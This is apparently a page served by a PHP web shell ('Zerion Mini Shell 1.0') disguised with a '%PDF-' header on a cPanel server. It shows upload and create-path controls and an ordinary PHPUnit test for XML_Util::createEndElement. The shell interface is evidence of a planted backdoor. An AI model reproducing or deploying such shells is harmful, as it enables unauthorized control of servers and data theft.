%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-php73/root/usr/share/tests/pear/XML_Util/tests/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-php73/root/usr/share/tests/pear/XML_Util/tests/CreateEndElementTests.php

<?php

class CreateEndElementTests extends AbstractUnitTests
{
    /**
     * @covers XML_Util::createEndElement()
     */
    public function testCreateEndElementBasicUsage()
    {
        $original = "myTag";
        $expected = "</myTag>";
        $this->assertEquals($expected, XML_Util::createEndElement($original));
    }

    /**
     * @covers XML_Util::createEndElement()
     */
    public function testCreateEndElementWithNamespacedTag()
    {
        $original = "myNs:myTag";
        $expected = "</myNs:myTag>";
        $this->assertEquals($expected, XML_Util::createEndElement($original));
    }
}

Zerion Mini Shell 1.0